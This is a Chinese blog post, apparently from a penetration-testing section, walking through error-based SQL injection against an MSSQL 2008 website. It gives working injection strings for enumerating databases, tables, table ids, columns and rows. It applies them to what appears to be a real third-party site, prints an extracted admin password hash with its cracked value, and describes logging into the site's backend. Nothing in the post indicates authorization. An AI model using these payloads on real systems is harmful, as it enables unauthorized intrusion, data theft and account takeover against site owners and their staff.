1. 首页
  2. 渗透测试

mssql 2008 显错注入

网站 sqlmap 跑红了 新网主机真 nb

mssql 2008 显错注入

db_name() 当前数据库

user 当前用户

@@version 版本

image

image

image

后面的 ‘%25’=’ 用来闭合

爆库语句

id=1 and (select name from master.dbo.sysdatabases where dbid=1)>0

这里是 master.dbo.sysdatabases 也可以写成 master..sysdatabases

不同的 dbid 对应 不同的数据库

dbid = 1

image

dbid = 2

image

以此类推

爆表语句

id=1 and (select top 1 name from 数据库.dbo.sysobjects where xtype='U')>0

这里的数据库是 bds0020190_db

查询第一个表

image
查询第二个表

id=1 and (select top 1 name from 数据库.dbo.sysobjects where xtype='U' and name not in('第一个表'))>0

注意要用双引号括起来

image

爆列之前 先要知道表的 id

爆表 id 语句

id=1 and (select top 1 cast(name as varchar(100))%2b'^'%2bcast(id as varchar(100)) from 数据库.dbo.sysobjects where xtype='U')>0

同样 查询第二个表

id=1 and (select top 1 cast(name as varchar(100))%2b'^'%2bcast(id as varchar(100)) from 数据库.dbo.sysobjects where xtype='U' and name not in('第一个表'))>0

image

Sifung_Admins id 85575343

暴列语句

id=1 and (select top 1 name from 数据库.dbo.syscolumns where id=id)>0

查询第二个列

id=1 and (select top 1 name from 数据库.dbo.syscolumns where id=id and name not in('第一个列'))>0

image

image

爆数据语句

id=1 and (select top 1 cast(表 as varchar(100))%2b'^'%2bcast(Sifung_Admin_PWD as varchar(100)) from 数据库.dbo.表名)>0

一次性爆多个列

and (select top 1 cast(列名1 as varchar(100))%2b'^'%2bcast(列名2 as varchar(100)) from 数据库.dbo.表名)>0

爆第二个数据

and (select top 1 cast(列名1 as varchar(100))%2b'^'%2bcast(列名2 as varchar(100)) from 数据库.dbo.表名 where 1=1 and 列名1 not in('第一个数据'))>0

如果是同数据库的话可以直接 from 表名

image

1005 202cb962ac59075b964b07152d234b70 解密 123

登录后台

image

用户名是数字 应该是员工的账号

也懒得找管理员了…

原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er

联系我们

在线咨询:点击这里给我发消息

QR code